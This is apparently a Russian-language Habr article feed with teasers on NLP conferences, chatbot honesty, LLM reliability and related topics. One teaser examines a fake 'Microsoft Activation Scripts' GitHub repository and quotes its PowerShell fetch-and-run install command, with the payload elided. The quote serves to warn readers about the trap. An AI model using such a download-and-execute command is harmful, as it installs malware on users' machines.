NLP с трдельником: какие идеи я привезла с EMNLP 2026
Привет, Хабр! Я — Мария Марьина, научный сотрудник лаборатории «Вычислительная семантика» AIRI. В конце октября я побывала на EMNLP в Будапеште, где мы с коллегами представили две работы, а я впервые выступила с устным докладом.Расскажу, как прошёл эксперимент оргкомитета с AI‑рецензированием, какие исследования мне запомнились, куда дальше двигаться NLP и за что дали Best Paper Awards. Поделюсь своим способом выбирать постеры, когда посмотреть всё невозможно, и покажу немного Будапешта, на улочках которого можно выдохнуть после конференции. Термы и трдельники тоже будут.Погнали!
Чат на сайте не должен врать: почему наш ассистент иногда честно отвечает «точного ответа нет»
Представьте: посетитель интернет-магазина спрашивает в чате, сколько дней на возврат. Бот бодро отвечает: «30 дней, без вопросов». На сайте при этом написано 14. Через три недели покупатель приходит с товаром и скриншотом переписки. Спорить с ним бесполезно: «ваш же консультант сказал».
Почему ИИ ошибается и признает ошибку, только когда вы ее найдете? История одного экзамена
Не так давно я поступал в аспирантуру. Готовился по старинке: конспекты, книжки, пробные тесты. Но уже в самой аудитории заметил, как многие полезли в часы и телефоны, начали украдкой использовать наушники. Оказалось, старые добрые шпоры мелким почерком уступили у студентов место чатам с ИИ-моделями.
Мой бот прислал мне репо-ловушку с 1774 звёздами. Разобрал 321 репо из трендов и собрал два фильтра
У меня есть Telegram-бот, который каждое утро присылает пять трендовых репозиториев GitHub с trendshift.io. Под каждым кнопка: нажал, и бот выдаёт выжимку README, чтобы разобрать идею. Я читаю эту ленту каждый день и иногда ставлю то, что понравилось.26 сентября в ленте был «Microsoft Activation Scripts»: 1774 звезды, аккуратное описание, теги. Бот оформил его так же, как четыре соседних проекта, с той же кнопкой.Это была ловушка.Как она устроенаВ репозитории один файл, README. Аккаунт владельца создан за 94 секунды до репозитория. Команда установки выглядит так:iex(irm(-join"…"))
Как я перестал верить нейросети и полюбил контрольные разряды: Zero-Trust для распознавания юридических документов
Покажите VLM скан исполнительного листа — и она уверенно вернёт реквизиты. Формат будет идеальным, тон — безупречным. Одна беда: среди реквизитов с ненулевой вероятностью окажется несуществующий ИНН с правильным форматом, сумма, которую никто не сверил с документом, а рядом в сводке будет гореть «качество: 100 %» — на скане 745×1024 @ 96 DPI, с которого в принципе нельзя прочитать реквизиты.
Дешево, но не точно: разбираем контроллер доверия к памяти LLM-агентов
В 2024 году мэрия Нью-Йорка запустила чат-бота MyCity — цифрового помощника для владельцев малого бизнеса. Он должен был стать удобным справочником по городским правилам и законам. Но на деле бот раздавал советы, за которые предпринимателям грозили штрафы и суды, например, не выплачивать до конца чаевые сотрудникам, уволить человека за жалобу на харассмент, и прочее в таком духе.Правильная информация при этом лежала в собственной базе знаний бота наравне с устаревшей. Как оказалось, он просто-напросто не смог выбрать между верным и неверным, когда оба варианта оказались под рукой.
Искусственный Интеллект манипулирует нашей памятью. И баг на нашей стороне
Созданные с помощью ИИ выводы о событиях, свидетелем которых вы были лично, порождают в сознании ложные воспоминания. Точность воспоминаний о событии снижается вдвое. А ложные воспоминания внедряются даже если вас напрямую предупредят о том, что именно ИИ подводил итоги.
Модель предлагает, код решает: проверяемые бизнес-решения на Python с маленькими моделями
Коротко. Если спросить языковую модель «одобрить возврат?», она вернёт ответ и вероятность. Правила, которое гарантированно выполнится, доказательства, которые можно проверить, и записи, которую можно воспроизвести через полгода, она не вернёт. solvi
LLM уверенно называет шахматные ходы, которых на доске нет. Как я проверяю каждый ее ответ кодом
Движок знает ответ, но говорит числами: -2.7 и стрелка. Модель говорит словами, но врет. Первый же комментарий, который я получил, звучал так: «сильнее было 14.Nf6, конь врывается в лагерь черных». Коня, который может пойти на f6, в той позиции на доске не было.Сразу дисклеймер: это мой первый веб-проект. Я играю в шахматы блиц на 1300 и хотел инструмент, который объясняет мои ошибки словами, а не оценками. Часть того, что ниже, фронтендеру покажется очевидной. Мне пришлось выяснять это руками.
